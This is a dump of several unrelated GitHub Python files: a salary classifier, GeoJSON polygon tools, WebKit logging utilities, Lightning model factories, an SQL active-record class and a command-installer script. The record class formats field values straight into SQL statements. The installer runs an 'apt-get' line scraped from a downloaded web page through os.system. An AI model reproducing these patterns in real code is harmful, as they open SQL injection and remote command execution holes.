varibale \"salary\" to numeric binary values (1, 0)\n * Change education values with grade numbers to \"Some-HS\"\n\n\"\"\"\n\n# Check for missing values\n\nsalary_data.isnull().values.any()\n\n\n\n# No NaN's, but quick visual inspection of the dataframe shown that there are some\n# rows with \"?\" when no entries are avaliable for this unit. So we will replace them with the most common value in each respective column\n\n\"\"\"\nReplacing \"?\" \n\n\"\"\"\n\ndef replace_with_most_common(df: pd.DataFrame, value) -> None:\n columns: list = df.columns\n \n for col in columns:\n \n most_common_value = df[col].value_counts().idxmax() # most common value in this col\n df[col].replace(value, most_common_value, inplace = True) # replace given with the most common value \n \nreplace_with_most_common(salary_data, ' ?') # Replace question marks with the most common value in each repective column \n\n# Check for question marks to make sure they are all gone\nprint(' ?' in salary_data.values) # Check if there are any question marks left in our dataframe. False if all question marks have been removed \n\n\n# %%\n\n\"\"\"\nRemoving redundant dimensions (fnlwgt, education-num, relationship, capital-loss, capital-gain)\n\n\"\"\"\n\nsalary_data.drop([\"education-num\", \"fnlwgt\", \"relationship\", \"capital-loss\", \"capital-gain\"], axis = 1, inplace = True)\n \n# %%\n\n\"\"\"\nReduce marital-status to binary outcomes (married, not married)\n\"\"\"\n\n# See all unique values in marital-status column\n\nsalary_data[\"marital-status\"].value_counts()\n\n# Married = 1, Single = 0\n\nnot_married_values: list = [\" Divorced\", \" Never-married\", \" Widowed\"]\n\n# Replace categorical marital status values with descrete \nsalary_data[\"marital-status\"] = np.where(salary_data[\"marital-status\"].isin(not_married_values), 0, 1)\n\n# %%\n\n\"\"\"\nConvert outcome varibale \"salary\" to numeric binary values (1, 0)\n\"\"\"\n\nsalary_data[\"salary\"] = np.where(salary_data[\"salary\"] == \" >50K\", 1, 0)\n\n# %%\n\n\"\"\"\nReplace native-country value with \"developing\" and \"developed\"\n\nOperationalize \"developed\" by the Human Development Index (HDI) released by the Human Development Report (https://hdr.undp.org/towards-hdr-2022)\nHDI of 0.80 and above is classified as \"developed\".\n\nHDI dataset taken from the World Population Review (https://worldpopulationreview.com/country-rankings/developed-countries)\n\n\"\"\"\n\n# Load HDI dataset\n\ndeveloped_countries: list = pd.read_csv(\"HDI.csv\")\n\ndeveloped_countries = developed_countries[developed_countries[\"hdi2019\"] >= 0.8] # Drop developing countries\ndeveloped_countries = (developed_countries[\"country\"]).tolist() # Get a list of only developed countries\n\n# Match the spelling style in both datasets\nsalary_data[\"native-country\"] = salary_data[\"native-country\"].str.strip() # remove white spaces\n\n\nfor country in range(0, len(developed_countries)):\n developed_countries[country] = developed_countries[country].replace(\" \", \"-\") # Repalce space between words in a country name with a \"-\"\n \n\n# Replace native-country values \n\nsalary_data[\"native-country\"] = np.where(salary_data[\"native-country\"].isin(developed_countries), \"developed\", \"developing\")\n\n# %%\n\n\"\"\"\nRemove spaces from categorical columns \n\"\"\"\n\nsalary_data = salary_data.apply(lambda x: x.str.strip() if x.dtype == \"object\" else x)\n\n\n\n# %%\n\n\"\"\"\nChange education values with grade numbers to \"Some-HS\" and Rename native-country\n\n\n\"\"\"\nsalary_data[\"education\"] = salary_data[\"education\"].str.replace(r'[0-9]+th', \"Some-HS\", regex = True) # replace with regex\n\nsalary_data = salary_data.rename(columns = {\"native-country\": \"native_country\"})\n\n# %%\n\n\"\"\"\n4) Fit the model\n \n\"\"\"\n\n# Separate predictor and outcome varibales\n\nX = salary_data.drop(\"salary\", axis = 1, inplace=False)\nY = salary_data[\"salary\"]\n\n# Change categorical values \nencoder = OrdinalEncoder()\nX[[\"workclass\", \"education\", \"occupation\", \"race\", \"sex\", \"native_country\"]] = encoder.fit_transform(X[[\"workclass\", \"education\", \"occupation\", \"race\", \"sex\", \"native_country\"]])\nsalary_data.sample(10)\n\n# Save ecnoder for deployment\nnp.save('salary_encoder.npy', encoder.categories_)\n\n\n# Split predictor and outcome into test and train subsets (70/30)\n\n\n\nX_train, X_test, y_train, y_test = train_test_split(X, Y, test_size = test_proportion, random_state = seed)\n\n# Fitting the model \n\n\nclf = RandomForestClassifier(n_estimators = num_trees).fit(X_train,y_train) #bagging 10,000 trees\n\n# Predict outcomes and calculate the accuracy score\n\npredictions = clf.predict(X_test) # Predicted Y\naccuracy = accuracy_score(y_test, predictions) # Accuracy of the model \n\n# Print summary of the model \n\nprint(classification_report(y_test, predictions))\n\n# plot predicted vs actual outcomes (confusion matrix) \n\nconf_matrix = confusion_matrix(y_test, predictions)\nsns.heatmap(conf_matrix)\n\n\n# Save the model as .sav\n\nif (save_as_sav):\n filename = \"salary_model.sav\"\n \n pickle.dump(clf, open(filename, \"wb\"))\n\n\n# %%\n\n\"\"\"\nCalculate Area Under the Curve (AUC)\n\n\"\"\"\n\nauc = roc_auc_score(y_test, predictions)\n\n\n\n\n\n \n \n\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n\n\n","repo_name":"sk8997/LoanBot","sub_path":"models/salary_model.py","file_name":"salary_model.py","file_ext":"py","file_size_in_byte":8003,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"} +{"seq_id":"17473743083","text":"#!/usr/bin/env python\n\"\"\"\n\n File: polygon_geometry.py \n Description: Simple polygon geometry methods using GeoJSON inputs\n Requires: \n pip install shapely\n pip install geojson \n Author: William Fanselow 2020-03-09 \n \n See tests/test_polygon_geometry.py for testing BAD json/geojson\n\n\"\"\"\nimport json\nimport geojson\nfrom shapely.geometry import shape, mapping\nfrom shapely.ops import unary_union\n\nDEBUG = 0 ## make sure this is 0 before deploying to service \n\n##----------------------------------------------------------------------------------------------\nclass InvalidGeoJson(Exception):\n pass\n \n##----------------------------------------------------------------------------------------------\ndef dprint(level, msg):\n \"\"\" Print debug messages \"\"\"\n if level <= DEBUG:\n print(\"DEBUG (%d): %s\" % (level, msg))\n\n##----------------------------------------------------------------------------------------------\ndef basic_json_validation(obj):\n \"\"\"\n Basic validation that input object is a valid json object.\n Required Arg (json|dict): GeoJSON object (we can handle json-str or dict)\n Raises: InvalidGeoJson() if object does not meet criteria for valid JSON object \n Returns: dict representation of GeoJSON object \n \"\"\"\n\n d_obj = None\n\n ## handle \"empty\" objects before regular json validation: \n ## => '' (invalid json)\n ## => '\"\"' (valid json)\n ## => {}, [], etc. (valid json)\n if not obj:\n raise InvalidGeoJson(\"Invalid GeoJSON format: empty object\") \n\n ## If input is dict, translate to json\n if isinstance(obj, dict):\n obj = json.dumps(obj)\n\n ## basic json validation - is obj a valid JSON object?\n try:\n d_obj = json.loads(obj)\n except TypeError as e:\n raise InvalidGeoJson(\"Invalid GeoJSON format: not a valid json\") \n except json.decoder.JSONDecodeError as e:\n raise InvalidGeoJson(\"Invalid GeoJSON format: %s\" % (e)) \n except Exception as e:\n raise \n \n return( d_obj )\n \n##----------------------------------------------------------------------------------------------\ndef validate_geojson_point(obj):\n \"\"\"\n Validate that input object is a valid json and has valid GeoJSON format for a \"Point\".\n Required Arg (json|dict): GeoJSON Point object (we can handle json-str or dict)\n Raises: InvalidGeoJson() if object does not meet criteria for valid GeoJSON Point\n Returns: dict representation of GeoJSON Point \n \"\"\"\n\n d_point = None\n\n ## basic json validation\n try:\n d_point = basic_json_validation(obj)\n except Exception as e:\n raise \n \n ## GeoJSON Point validation\n point = geojson.dumps(d_point)\n dprint(1, point)\n json_point = geojson.loads(point)\n dprint(1, json_point)\n\n try:\n point = geojson.Point(json_point) \n except ValueError as e:\n raise InvalidGeoJson(\"Invalid GeoJSON Point: %s\" % e) \n dprint(1, point)\n\n valid = point.is_valid\n dprint(1, \"VALID=%s\" % valid)\n if not valid:\n l_errors = point.errors()\n dprint(1, \"ERRORS:%s\" % l_errors)\n raise InvalidGeoJson(\"Invalid GeoJSON Point: %s\" % str(l_errors)) \n\n return(d_point)\n \n##----------------------------------------------------------------------------------------------\ndef validate_geojson_polygon(obj):\n \"\"\"\n Validate that input object is a valid json and has valid GeoJSON format for a \"Polygon\".\n Required Arg (json|dict): GeoJSON Polygon object (we can handle json-str or dict)\n Raises: InvalidGeoJson() if object does not meet criteria for valid GeoJSON Polygon \n Returns: dict representation of GeoJSON Polygon \n \"\"\"\n\n d_poly = None\n \n ## basic json validation\n try:\n d_poly = basic_json_validation(obj)\n except Exception as e:\n raise \n \n ## GeoJSON Poly validation\n poly = geojson.dumps(d_poly)\n dprint(1, poly)\n json_poly = geojson.loads(poly)\n dprint(1, json_poly)\n\n try:\n poly = geojson.Polygon(json_poly) \n except ValueError as e:\n raise InvalidGeoJson(\"Invalid GeoJSON Polygon: %s\" % e) \n dprint(1, poly)\n\n valid = poly.is_valid\n dprint(1, \"VALID=%s\" % valid)\n if not valid:\n l_errors = poly.errors()\n dprint(1, \"ERRORS:%s\" % l_errors)\n raise InvalidGeoJson(\"Invalid GeoJSON Polygon: %s\" % str(l_errors)) \n\n ## If the \"coordinates\" key is mispelled or missing, geojson.Polygon will automatically\n ## convert the object to {\"coordinates\": [], \"type\": \"Polygon\"} without errors.\n l_coordinates = poly.get('coordinates', None)\n if not l_coordinates:\n raise InvalidGeoJson(\"Invalid GeoJSON Point: Missing required parameter: [coordinates]\") \n\n return(d_poly)\n\n##----------------------------------------------------------------------------------------------\ndef check_polygon_intersection(poly_1, poly_2):\n \"\"\"\n Identify if two polygons intersect or not.\n Required Args (json): 2 polygons in GeoJSON format\n Return (dict): {\"intersects\": (0|1)} \n \"\"\"\n\n ## validate format and convert to dict\n try:\n d_poly_1 = validate_geojson_polygon(poly_1)\n except Exception as e:\n raise \n try:\n d_poly_2 = validate_geojson_polygon(poly_2)\n except Exception as e:\n raise \n \n d_response = {'intersects': 0}\n\n shape_1 = shape(d_poly_1)\n shape_2 = shape(d_poly_2)\n result = shape_1.intersects(shape_2) ## => True|False\n\n if result:\n d_response = {'intersects': 1}\n\n return(d_response)\n\n##----------------------------------------------------------------------------------------------\ndef get_overlap_area(poly_1, poly_2):\n \"\"\"\n Identify area of overlap of two polygons\n Required Args (json): 2 polygons in GeoJSON format\n Return (dict): {'overlap_area': } \n \"\"\"\n \n ## validate format and convert to dict\n try:\n d_poly_1 = validate_geojson_polygon(poly_1)\n except Exception as e:\n raise \n try:\n d_poly_2 = validate_geojson_polygon(poly_2)\n except Exception as e:\n raise \n\n shape_1 = shape(d_poly_1)\n shape_2 = shape(d_poly_2)\n intersection = shape_1.intersection(shape_2)\n\n area = intersection.area\n d_response = {'overlap_area': area}\n\n return(d_response)\n\n##----------------------------------------------------------------------------------------------\ndef check_point_in_polygon(**kwargs):\n \"\"\"\n Identify if a point is \"within\" the boundry of a polygon\n Required kwargs: \n * point (json): GeoJSON Point \n * polygon (json): GeoJSON Polygon\n Return (dict): {'is_within': (0|1)} \n \"\"\"\n\n point = kwargs.get(\"point\", None)\n poly = kwargs.get(\"polygon\", None)\n \n ## validate format and convert to dict\n try:\n d_point = validate_geojson_point(point)\n except Exception as e:\n raise \n try:\n d_poly = validate_geojson_polygon(poly)\n except Exception as e:\n raise \n \n d_response = {'is_within': 0}\n\n shape_pt = shape(d_point)\n shape_poly = shape(d_poly)\n\n #print(shape_pt)\n #print(shape_poly)\n\n result = shape_pt.within(shape_poly) ## => True|False\n\n if result:\n d_response = {'is_within': 1}\n\n return(d_response)\n\n##----------------------------------------------------------------------------------------------\nif __name__ == '__main__':\n\n ##\n ## Some simple tests of the functions\n ## See /tests/test_* for more thorough testing\n ##\n\n ##\n ## GeoJSON strings (this are valid)\n ##\n poly1 = '{ \"type\": \"Polygon\", \"coordinates\": [ [ [ 100.0, 0.0 ], [ 101.0, 0.0 ], [ 101.0, 1.0 ], [ 100.0, 1.0 ], [ 100.0, 0.0 ] ] ] }'\n\n poly2 = '{ \"type\": \"Polygon\", \"coordinates\": [ [ [ 1208064.271243039052933, 624154.678377891657874 ], [ 1208064.271243039052933, 601260.978566187433898 ], [ 1231345.999865111429244, 601260.978566187433898 ], [ 1231345.999865111429244, 624154.678377891657874 ], [ 1208064.271243039052933, 624154.678377891657874 ] ] ] }'\n\n poly3 = '{ \"type\": \"Polygon\", \"coordinates\": [ [ [ 1199915.66622531437315, 633079.341016352758743 ], [ 1199915.66622531437315, 614453.958118694950826 ], [ 1219317.106743707787246, 614453.958118694950826 ], [ 1219317.106743707787246, 633079.341016352758743 ], [ 1199915.66622531437315, 633079.341016352758743 ] ] ] }'\n\n print(\"Testing intersection of two non-overlapping poly's...\")\n try:\n result = check_polygon_intersection(poly1, poly2) \n print(\"RESULT: %s\" % (result))\n except Exception as e:\n raise \n\n print(\"\\nTesting intersection of two overlapping poly's...\")\n try:\n result = check_polygon_intersection(poly2, poly3) \n print(\"RESULT: %s\" % (result))\n except Exception as e:\n raise \n\n print(\"\\nGetting overlap area of two non-overlapping poly's...\")\n try:\n result = get_overlap_area(poly1, poly2) \n print(\"RESULT: %s\" % (result))\n except Exception as e:\n raise \n\n print(\"\\nGetting overlap area of two overlapping poly's...\")\n try:\n result = get_overlap_area(poly2, poly3) \n print(\"RESULT: %s\" % (result))\n except Exception as e:\n raise \n\n ## lat/long of Denver, Colorado\n pt_denver = { \"type\": \"Point\", \"coordinates\": [-104.94189, 39.743764] }\n\n with open('./data/colorado.json', 'r') as f_colorado:\n d_colorado = json.load(f_colorado)\n json_colorado = json.dumps(d_colorado)\n\n print(\"\\nTesting if Denver (center-point lat/lon) is within Colorado...\")\n result = check_point_in_polygon(point=pt_denver, polygon=json_colorado) \n print(\"RESULT: %s\" % (result))\n\n \n with open('./data/wyoming.json', 'r') as f_wyoming:\n d_wyoming = json.load(f_wyoming)\n json_wyoming = json.dumps(d_wyoming)\n\n print(\"\\nTesting intersection of two adjecent states (colorado/wyoming)...\")\n result = check_polygon_intersection(json_colorado, json_wyoming) \n print(\"RESULT: %s\" % (result))\n\n print(\"\\nGetting overlapping area of two adjecent states (colorado/wyoming)...\")\n result = get_overlap_area(json_colorado, json_wyoming) \n print(\"RESULT: %s\" % (result))\n\n","repo_name":"bfanselow/pGaaS","sub_path":"app/polygon_geometry.py","file_name":"polygon_geometry.py","file_ext":"py","file_size_in_byte":9610,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"11346251096","text":"import logging\nimport os\nimport sys\n\nimport webkitpy\n\nfrom logging import FileHandler\n\n\n_log = logging.getLogger(__name__)\n\n# We set these directory paths lazily in get_logger() below.\n_scripts_dir = \"\"\n\"\"\"The normalized, absolute path to the ...Scripts directory.\"\"\"\n\n_webkitpy_dir = \"\"\n\"\"\"The normalized, absolute path to the ...Scripts/webkitpy directory.\"\"\"\n\n\ndef _normalize_path(path):\n \"\"\"Return the given path normalized.\n\n Converts a path to an absolute path, removes any trailing slashes,\n removes any extension, and lower-cases it.\n\n \"\"\"\n path = os.path.abspath(path)\n path = os.path.normpath(path)\n path = os.path.splitext(path)[0] # Remove the extension, if any.\n path = path.lower()\n\n return path\n\n\n# Observe that the implementation of this function does not require\n# the use of any hard-coded strings like \"webkitpy\", etc.\n#\n# The main benefit this function has over using--\n#\n# _log = logging.getLogger(__name__)\n#\n# is that get_logger() returns the same value even if __name__ is\n# \"__main__\" -- i.e. even if the module is the script being executed\n# from the command-line.\ndef get_logger(path):\n \"\"\"Return a logging.logger for the given path.\n\n Returns:\n A logger whose name is the name of the module corresponding to\n the given path. If the module is in webkitpy, the name is\n the fully-qualified dotted module name beginning with webkitpy....\n Otherwise, the name is the base name of the module (i.e. without\n any dotted module name prefix).\n\n Args:\n path: The path of the module. Normally, this parameter should be\n the __file__ variable of the module.\n\n Sample usage:\n\n from webkitpy.common.system import logutils\n\n _log = logutils.get_logger(__file__)\n\n \"\"\"\n # Since we assign to _scripts_dir and _webkitpy_dir in this function,\n # we need to declare them global.\n global _scripts_dir\n global _webkitpy_dir\n\n path = _normalize_path(path)\n\n # Lazily evaluate _webkitpy_dir and _scripts_dir.\n if not _scripts_dir:\n # The normalized, absolute path to ...Scripts/webkitpy/__init__.\n webkitpy_path = _normalize_path(webkitpy.__file__)\n\n _webkitpy_dir = os.path.split(webkitpy_path)[0]\n _scripts_dir = os.path.split(_webkitpy_dir)[0]\n\n if path.startswith(_webkitpy_dir):\n # Remove the initial Scripts directory portion, so the path\n # starts with /webkitpy, for example \"/webkitpy/init/logutils\".\n path = path[len(_scripts_dir):]\n\n parts = []\n while True:\n (path, tail) = os.path.split(path)\n if not tail:\n break\n parts.insert(0, tail)\n\n logger_name = \".\".join(parts) # For example, webkitpy.common.system.logutils.\n else:\n # The path is outside of webkitpy. Default to the basename\n # without the extension.\n basename = os.path.basename(path)\n logger_name = os.path.splitext(basename)[0]\n\n return logging.getLogger(logger_name)\n\n\ndef _default_handlers(stream, logging_level):\n \"\"\"Return a list of the default logging handlers to use.\n\n Args:\n stream: See the configure_logging() docstring.\n\n \"\"\"\n # Create the filter.\n def should_log(record):\n \"\"\"Return whether a logging.LogRecord should be logged.\"\"\"\n # FIXME: Enable the logging of autoinstall messages once\n # autoinstall is adjusted. Currently, autoinstall logs\n # INFO messages when importing already-downloaded packages,\n # which is too verbose.\n if record.name.startswith(\"webkitpy.thirdparty.autoinstall\"):\n return False\n return True\n\n logging_filter = logging.Filter()\n logging_filter.filter = should_log\n\n # Create the handler.\n handler = logging.StreamHandler(stream)\n if logging_level == logging.DEBUG:\n formatter = logging.Formatter(\"%(name)s: [%(levelname)s] %(message)s\")\n else:\n formatter = logging.Formatter(\"%(message)s\")\n\n handler.setFormatter(formatter)\n handler.addFilter(logging_filter)\n\n return [handler]\n\n\ndef configure_logging(logging_level=None, logger=None, stream=None,\n handlers=None):\n \"\"\"Configure logging for standard purposes.\n\n Returns:\n A list of references to the logging handlers added to the root\n logger. This allows the caller to later remove the handlers\n using logger.removeHandler. This is useful primarily during unit\n testing where the caller may want to configure logging temporarily\n and then undo the configuring.\n\n Args:\n logging_level: The minimum logging level to log. Defaults to\n logging.INFO.\n logger: A logging.logger instance to configure. This parameter\n should be used only in unit tests. Defaults to the\n root logger.\n stream: A file-like object to which to log used in creating the default\n handlers. The stream must define an \"encoding\" data attribute,\n or else logging raises an error. Defaults to sys.stderr.\n handlers: A list of logging.Handler instances to add to the logger\n being configured. If this parameter is provided, then the\n stream parameter is not used.\n\n \"\"\"\n # If the stream does not define an \"encoding\" data attribute, the\n # logging module can throw an error like the following:\n #\n # Traceback (most recent call last):\n # File \"/System/Library/Frameworks/Python.framework/Versions/2.6/...\n # lib/python2.6/logging/__init__.py\", line 761, in emit\n # self.stream.write(fs % msg.encode(self.stream.encoding))\n # LookupError: unknown encoding: unknown\n if logging_level is None:\n logging_level = logging.INFO\n if logger is None:\n logger = logging.getLogger()\n if stream is None:\n stream = sys.stderr\n if handlers is None:\n handlers = _default_handlers(stream, logging_level)\n\n logger.setLevel(logging_level)\n\n for handler in handlers:\n logger.addHandler(handler)\n\n _log.debug(\"Debug logging enabled.\")\n\n return handlers\n\n\ndef configure_logger_to_log_to_file(logger, log_path, filesystem):\n log_directory = filesystem.dirname(log_path)\n if log_directory and not filesystem.exists(log_directory):\n filesystem.maybe_make_directory(log_directory)\n\n handler = FileSystemHandler(log_path, filesystem)\n formatter = logging.Formatter('%(asctime)s - %(message)s')\n handler.setFormatter(formatter)\n\n logger.addHandler(handler)\n return handler\n\n\nclass FileSystemHandler(FileHandler):\n def __init__(self, filename, filesystem):\n self.filename = filename\n self.filesystem = filesystem\n FileHandler.__init__(self, filename)\n\n def _open(self):\n return self.filesystem.open_text_file_for_writing(self.filename, should_append=True)\n","repo_name":"WebKit/WebKit","sub_path":"Tools/Scripts/webkitpy/common/system/logutils.py","file_name":"logutils.py","file_ext":"py","file_size_in_byte":6926,"program_lang":"python","lang":"en","doc_type":"code","stars":6880,"dataset":"github-code","pt":"3"} +{"seq_id":"70993054803","text":"from abc import ABC, abstractmethod\nimport lightning.pytorch as pl\nfrom ml_architectures.lseqsleepnet.lseqsleepnet import LSeqSleepNet\nfrom ml_architectures.lseqsleepnet.long_sequence_model import LongSequenceModel\nfrom ml_architectures.lseqsleepnet.classifier import Classifier\nfrom ml_architectures.lseqsleepnet.utils import make_lseqsleepnet_config\nfrom ml_architectures.usleep.usleep import USleep\nimport lightning.pytorch as pl\nfrom csdp_training.lightning_models.usleep import USleep_Lightning\nfrom csdp_training.lightning_models.lseqsleepnet import LSeqSleepNet_Lightning\nimport torch\n\nclass IModel_Factory(ABC):\n @abstractmethod\n def create_new_net(self) -> pl.LightningModule:\n pass\n\n @abstractmethod\n def create_pretrained_net(self, pretrained_path) -> pl.LightningModule:\n pass\n\nclass USleep_Factory(IModel_Factory):\n def __init__(self,\n lr,\n batch_size,\n initial_filters,\n complexity_factor,\n progression_factor\n ):\n self.lr = lr\n self.batch_size = batch_size\n self.initial_filters = initial_filters\n self.complexity_factor = complexity_factor\n self.progression_factor = progression_factor\n\n def create_new_net(self) -> pl.LightningModule:\n inner = USleep(num_channels=2,\n initial_filters=self.initial_filters,\n complexity_factor=self.complexity_factor,\n progression_factor=self.progression_factor)\n\n net = USleep_Lightning(inner,\n self.lr,\n self.batch_size,\n self.initial_filters,\n self.complexity_factor,\n self.progression_factor)\n \n return net\n\n def create_pretrained_net(self, pretrained_path) -> pl.LightningModule:\n inner = USleep(num_channels=2,\n initial_filters=self.initial_filters,\n complexity_factor=self.complexity_factor,\n progression_factor=self.progression_factor)\n \n \n net = USleep_Lightning.load_from_checkpoint(pretrained_path,\n usleep=inner,\n lr=self.lr,\n batch_size = self.batch_size,\n initial_filters = self.initial_filters,\n complexity_factor = self.complexity_factor,\n progression_factor = self.progression_factor,\n map_location=torch.device('cuda') if torch.cuda.is_available() else torch.device('cpu'))\n return net\n\n\nclass LSeqSleepNet_Factory(IModel_Factory):\n def __init__(self,\n lr,\n batch_size):\n self.lr = lr\n self.batch_size = batch_size\n\n def create_new_net(self) -> pl.LightningModule:\n inner = self.__create_inner()\n\n lightning = LSeqSleepNet_Lightning(inner, self.lr, self.batch_size)\n\n return lightning\n\n def create_pretrained_net(self, pretrained_path) -> pl.LightningModule:\n inner = self.__create_inner()\n\n lightning = LSeqSleepNet_Lightning.load_from_checkpoint(pretrained_path,\n inner,\n self.lr,\n self.batch_size,\n map_location=torch.device('cuda') if torch.cuda.is_available() else torch.device('cpu'))\n \n return lightning\n \n def __create_inner(self) -> LSeqSleepNet:\n lseq_config = make_lseqsleepnet_config(num_channels=2)\n\n lseq = LSeqSleepNet(lseq_config)\n\n return lseq\n","repo_name":"jesperstroem/CSDP","sub_path":"csdp_training/lightning_models/factories/lightning_model_factory.py","file_name":"lightning_model_factory.py","file_ext":"py","file_size_in_byte":4146,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"25259875360","text":"from ActiveRecords.Object import Object\nfrom Application.ConnectionManager import ConnectionManager\nfrom Application.Constants import *\n\nclass Artifact(Object):\n FIND_ARTIFACT_BY_ID_STR = \"SELECT * FROM ARTIFACTS WHERE ARTIFACTS.ID = {};\"\n FIND_ALL_FOR_CHARACTER_STR = \"SELECT a.id, a.name, a.charges, a.used_charges, a.description FROM ARTIFACTS as a \\\n LEFT JOIN CHAR_ARTIFACTS ON (a.ID = CHAR_ARTIFACTS.ARTIFACT_ID) \\\n LEFT JOIN CHARACTERS ON (CHAR_ARTIFACTS.CHARACTER_ID = CHARACTERS.ID) \\\n WHERE CHAR_ARTIFACTS.CHARACTER_ID = {};\"\n\n INSERT_ARTIFACT_STR = \"INSERT INTO ARTIFACTS (NAME, CHARGES, USED_CHARGES, DESCRIPTION) VALUES('{}', {}, {}, '{}') RETURNING ID;\"\n INSERT_CHARACTER_ARTIFACT_STR = \"INSERT INTO CHAR_ARTIFACTS (CHARACTER_ID, ARTIFACT_ID) VALUES({}, {});\"\n\n UPDATE_ARTIFACT_STR = \"UPDATE ARTIFACTS SET (NAME, CHARGES, USED_CHARGES, DESCRIPTION) = ('{}', {}, {}, '{}') WHERE ARTIFACTS.ID = {};\"\n\n DELETE_CHARACTER_ARTIFACT_STR = \"DELETE FROM CHAR_ARTIFACTS WHERE ARTIFACT_ID = {};\"\n DELETE_ARTIFACT_STR = \"DELETE FROM ARTIFACTS WHERE ID = {};\"\n\n def __init__(self, name, charges, used_charges, descr, id = INVALID_ID):\n super().__init__(id)\n self.name = name\n self.charges = charges\n self.used_charges = used_charges\n self.descr = descr\n\n @classmethod\n def from_id(my_class, id):\n res_id = INVALID_ID\n name = \"\"\n charges = 0\n used_charges = 0\n descr = \"\"\n # Find by ID\n with ConnectionManager() as manager:\n with manager.get_cursor() as cur:\n cur.execute(Artifact.FIND_ARTIFACT_BY_ID_STR.format(id))\n data = cur.fetchone()\n res_id = data[0]\n name = data[1]\n charges = data[2]\n used_charges = data[3]\n descr = data[4]\n return my_class(name, charges, used_charges, descr, res_id)\n \n @classmethod\n def from_character_id(my_class, character_id):\n res = []\n # Find by ID\n with ConnectionManager() as manager:\n with manager.get_cursor() as cur:\n cur.execute(Artifact.FIND_ALL_FOR_CHARACTER_STR.format(character_id))\n data = cur.fetchall()\n for art_tuple in data:\n res.append(my_class(art_tuple[1], art_tuple[2], art_tuple[3], art_tuple[4], art_tuple[0]))\n return res\n\n def insert(self, character_id):\n with ConnectionManager() as manager:\n with manager.get_cursor() as cur:\n cur.execute(Artifact.INSERT_ARTIFACT_STR.format(self.name, self.charges, self.used_charges, self.descr))\n new_id = cur.fetchone()[0]\n cur.execute(Artifact.INSERT_CHARACTER_ARTIFACT_STR.format(character_id, new_id))\n return new_id\n\n def update(self):\n with ConnectionManager() as manager:\n with manager.get_cursor() as cur:\n cur.execute(Artifact.UPDATE_ARTIFACT_STR.format(self.name, self.charges, self.used_charges, self.descr, self.id))\n\n def delete(self):\n with ConnectionManager() as manager:\n with manager.get_cursor() as cur:\n cur.execute(Artifact.DELETE_CHARACTER_ARTIFACT_STR.format(self.id))\n cur.execute(Artifact.DELETE_ARTIFACT_STR.format(self.id))\n ","repo_name":"Barbarisko/DnDItemTracker","sub_path":"backend/ActiveRecords/Artifact.py","file_name":"Artifact.py","file_ext":"py","file_size_in_byte":3459,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"27019996166","text":"import subprocess\r\nimport os\r\nimport re\r\ndef installcmd(command):\r\n\tres=False\r\n\thowtoinstall=\"wget https://command-not-found.com/\"+command+\" -O 1.html\"\r\n\tprint(howtoinstall)\r\n\tsubhow = subprocess.run(howtoinstall,shell=True,stdout=subprocess.PIPE,stderr=subprocess.PIPE)\r\n\tgrep='grep \"apt-get install\" 1.html'\r\n\tsubgrep = subprocess.run(grep,shell=True,stdout=subprocess.PIPE,stderr=subprocess.PIPE,text=True)\r\n\tout=subgrep.stdout.strip()\r\n\terr=subgrep.stderr.split('\\n')\r\n\r\n\tinstallcmd=\"\"\r\n\tfor o in out.splitlines():\r\n\t\tif \"<\" in o:\r\n\t\t\tinstallcmd=re.sub('\\<.*?\\>','',o)\r\n\t\tif installcmd:\r\n\t\t\tbreak\r\n\tif installcmd:\r\n\t\tinstallcmd = installcmd + \" -y\"\r\n\telse:\r\n\t\tprint(\"err in get install command\")\r\n\t\treturn\r\n\t#print(\"installcmd:\"+installcmd)\r\n\tinstall_res=os.system(installcmd)\r\n\tif install_res==0:\r\n\t\tres=True\r\n\t\tprint(command+\"install successed\")\r\n\telse:\r\n\t\tprint(command+\"install err is \"+str(install_res))\r\n\treturn res \r\n\t\r\n\r\nif __name__ == '__main__':\r\n\thascmd=0\r\n\tinstall=0\r\n\tfailtoinstall=[]\r\n\twith open(\"cmdlist\",\"r\") as f:\r\n\t\tc=0\r\n\t\tfor line in f.readlines():\r\n\t\t\tif \"(8)\" in line:\r\n\t\t\t\tidx=line.index(\"(8)\")\r\n\t\t\t\tcommand=line[0:idx]\r\n\t\t\t\tcmd_all=\"which \"+command\r\n\t\t\t\tc=c+1\r\n\t\t\t\tif c<100:\r\n\t\t\t\t\t#print(command)\r\n\t\t\t\t\ts=\"\"#command path\r\n\t\t\t\t\tsubp = subprocess.run(cmd_all,shell=True,stdout=subprocess.PIPE,stderr=subprocess.PIPE,text=True)\r\n\t\t\t\t\ts=subp.stdout.strip()\r\n\t\t\t\t\t#err=subp.stderr.readlines()\r\n\t\t\t\t\tif s:\r\n\t\t\t\t\t\thascmd=hascmd+1\t\t\t\t\t\t\r\n\t\t\t\t\telse:\r\n\t\t\t\t\t\tinstall=install+1\r\n\t\t\t\t\t\tres=installcmd(command)\r\n\t\t\t\t\t\tif res:\r\n\t\t\t\t\t\t\tinstall=install+1\r\n\t\t\t\t\t\telse:\r\n\t\t\t\t\t\t\tfailtoinstall.append(command)\r\n\tprint(f\"{hascmd} is already on VM\")\r\n\tprint(f\"{install} is installed\")\r\n\tprint(f\"failed to install {failtoinstall}\")","repo_name":"JJ-Meng/scripts","sub_path":"0_install.py","file_name":"0_install.py","file_ext":"py","file_size_in_byte":1734,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"15191953182","text":"import setuptools\r\n\r\nwith open(\"README.md\", \"r\") as fh:\r\n long_description = fh.read()\r\n\r\nsetuptools.setup(\r\n name=\"win10notify\",\r\n version=\"0.0.5\",\r\n author=\"phrasek\",\r\n author_email=\"64117215+phrasek@users.noreply.github.com\",\r\n description=\"A library to create Windows 10 Toast Notifications\",\r\n long_description=long_description,\r\n long_description_content_type=\"text/markdown\",\r\n url=\"https://github.com/phrasek/win10notify\",\r\n packages=setuptools.find_packages(),\r\n classifiers=[\r\n \"Programming Language :: Python :: 3\",\r\n \"License :: OSI Approved :: GNU General Public License v3 (GPLv3)\",\r\n \"Operating System :: Microsoft :: Windows :: Windows 10\",\r\n ],\r\n 